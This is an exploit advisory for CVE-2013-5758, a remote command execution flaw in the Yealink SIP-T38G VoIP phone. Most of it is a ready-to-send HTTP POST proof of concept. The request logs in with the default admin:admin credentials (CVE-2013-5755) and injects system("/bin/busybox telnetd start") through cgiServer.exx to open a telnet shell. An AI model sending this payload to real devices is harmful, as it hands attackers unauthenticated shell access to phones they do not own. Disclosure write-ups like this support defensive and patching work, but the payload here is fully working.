Yealink VoIP Phone SIP-T38G - Remote Command Execution

Title: Yealink VoIP Phone SIP-T38G Remote Command Execution
Author: Mr.Un1k0d3r & Doreth.Z10 From RingZer0 Team
Vendor Homepage: http://www.yealink.com/Companyprofile.aspx
Version: VoIP Phone SIP-T38G
CVE: CVE-2013-5758

Description:

Using cgiServer.exx we are able to send OS command using the system
function.

POC:

POST /cgi-bin/cgiServer.exx HTTP/1.1
Host: 10.0.75.122
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4= (Default Creds CVE-2013-5755)
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

system("/bin/busybox%20telnetd%20start")



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*Mr.Un1k0d3r** or 1 #*